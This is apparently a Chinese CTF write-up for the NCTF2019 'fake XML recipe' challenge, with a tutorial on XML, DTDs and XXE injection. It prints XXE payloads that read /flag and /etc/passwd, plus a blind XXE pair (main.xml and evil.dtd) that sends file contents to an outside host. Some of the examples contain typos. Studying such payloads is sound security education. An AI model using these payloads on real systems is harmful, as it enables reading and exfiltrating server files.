NCTF2019-伪XML食谱

1. 首页

既然知道是XML,那我们抓个包看一下

2. payload

可以看到user和passwd都是xml,那我们可以添加恶意实体试试

1
2
<!DOCTYPE any [<!ENTITY a SYSTEM "file:///flag">]>
<user><username>&a;</username><password>111</password></user>

3. XXE漏洞解析

3.1 简介

XXE(XML External Entity Injection)即XML外部实体类注入漏洞。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。XXE漏洞触发的点往往是可以上传XML文件的位置,没有对上传的XML文件进行过滤,导致可上传恶意XML文件。

3.1.1 XML

XML设计用来传送及携带数据信息,不用来表现或展示数据,HTML则用来表现数据,所以XML用途的焦点是它说明数据是什么,以及携带数据信息。

3.1.2 基本语法

  • 所有 XML 元素都须有关闭标签。
  • XML 标签对大小写敏感。
  • XML 必须正确地嵌套。
  • XML 文档必须有根元素。
  • XML 的属性值须加引号。
  • XML的注释和HTML一样<!-- -->

3.2 DTD

3.2.1 DTD

XML文件的文档类型定义(Document Type Definition)可以看成一个或者多个XML文件的模板,在这里可以定义XML文件中的元素、元素的属性、元素的排列方式、元素包含的内容等等。DTD可定义合法的XML文档构建模块。

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0"?>
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (nuc,edu)> <!--定义note元素有四个元素-->
<!ELEMENT nuc (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT edu (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
]>
<note>
<nuc>hello</nuc>
<edu>world</edu>
</note>

当使用外部DTD时,通过如下语法引入。

1
<!DOCTYPE outer-element SYSTEM "filename">

外部DTD实例

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE outer-element SYSTEM "test.dtd">
<note>
<nuc>hello</nuc>
<edu>world</edu>
</note>

test.dtd

1
2
<!ELEMENT nuc (#PCDATA)>   <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT edu (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->

3.2.2 PCDATA

PCDATA的意思是被解析的字符数据。PCDATA是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理,而实体会被展开。

不过,被解析的字符数据不应当包含任何&,<,或者>字符,需要用&amp; &lt; &gt;实体来分别替换

3.2.3 CDATA

CDATA意思是字符数据,CDATA 是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。
在 XML 元素中,”<” 和 “&” 是非法的。”<” 会产生错误,因为解析器会把该字符解释为新元素的开始。”&” 也会产生错误,因为解析器会把该字符解释为字符实体的开始。某些文本,比如 JavaScript 代码,包含大量 “<” 或 “&” 字符。为了避免错误,可以将脚本代码定义为 CDATA。CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由<![CDATA[ 开始,由 ]]>结束:

1
2
<?xml version="1.0" encoding="UTF-8"?>
<content><![CDATA[<html></html>]]></content>

运行结果

3.2.4 DTD元素

3.2.5 DTD属性

属性声明使用以下语法

1
<!ATTLIST 元素名称 属性名称 属性类型 默认值>

DTD实例

1
<!ATTLIST nuc edu PCDATA "hello">

XML实例

1
<nuc edu="hello">

3.2.6 DTD实体

DTD是一组标记声明,用于定义XML的文档类型。它定义了XML文档的合法结构块和具有合法元素和属性列表的文档结构。DTD可以在XML文档内部声明,也可以作为外部引用声明—使用SYSTEM标识符指向可解析位置中的另一组声明。ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等,然后,在其他DOM结点中可以使用如:&test;引用该实体内容。

内部实体实例

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY hack3r "Hu3sky">
]>
<note>
<name>&hack3r;</name>
</note>

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

3.2.6.1 内部实体

一个内部实体声明例子

1
2
3
4
<!ENTITY 实体名称 "实体的值">
<!ENTITY writer "me">
<name>&writer;</name>
<!--注:一个实体包括 和(&),名称,分号(;)-->
3.2.6.2 参数实体

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY % param1 "<!ENTITY internal 'http://darkerbox.com'>">//定义参数实体
%param1;//引用参数实体,引用后,值又被xml解析,则internal的值为http://darkerbox.com
]>
<root>
<test>[This is my site] &internal;</test>
</root>

3.2.6.3 通用实体

&实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY test "this is xml" > // 在DTD中定义
]>
<cred>&test;</cred> //在xml文档中引用
3.2.6.4 参数实体+外部实体
1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
<name>&name;</name>

% name(参数实体)是在DTD中被引用的,而&name;是在xml文档中被引用的。

3.2.6.6 外部实体
1
2
3
<!ENTITY 实体名称 SYSTEM "URI/URL">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

例子

1
2
<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">  //DTD定义
<author>&writer;</author> //xml定义

外部实体类型有

XXE主要是利用了DTD引用外部实体导致的漏洞。

3.3 Blind XXE

Blind XXE即无回显注入。

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE XXE[
<!ENTITY % passwd SYSTEM "/ect/passwd">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://example.com/?%passwd'>">
&wrapper
]>
<pwn>&send</pwn>

这样是passwd的值是传不过去的,不能在值中调用实体参数;

解决办法

1
2
3
4
5
main.xml

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://example.com/evil.dtd">
<data>&send;</data>
1
2
3
4
5
evil.dtd

<!ENTITY % passwd SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://example.com/?%passwd'>">
<!ENTITY send SYSTEM 'http://example.com/?CONTENTS_OF_PASSWD'>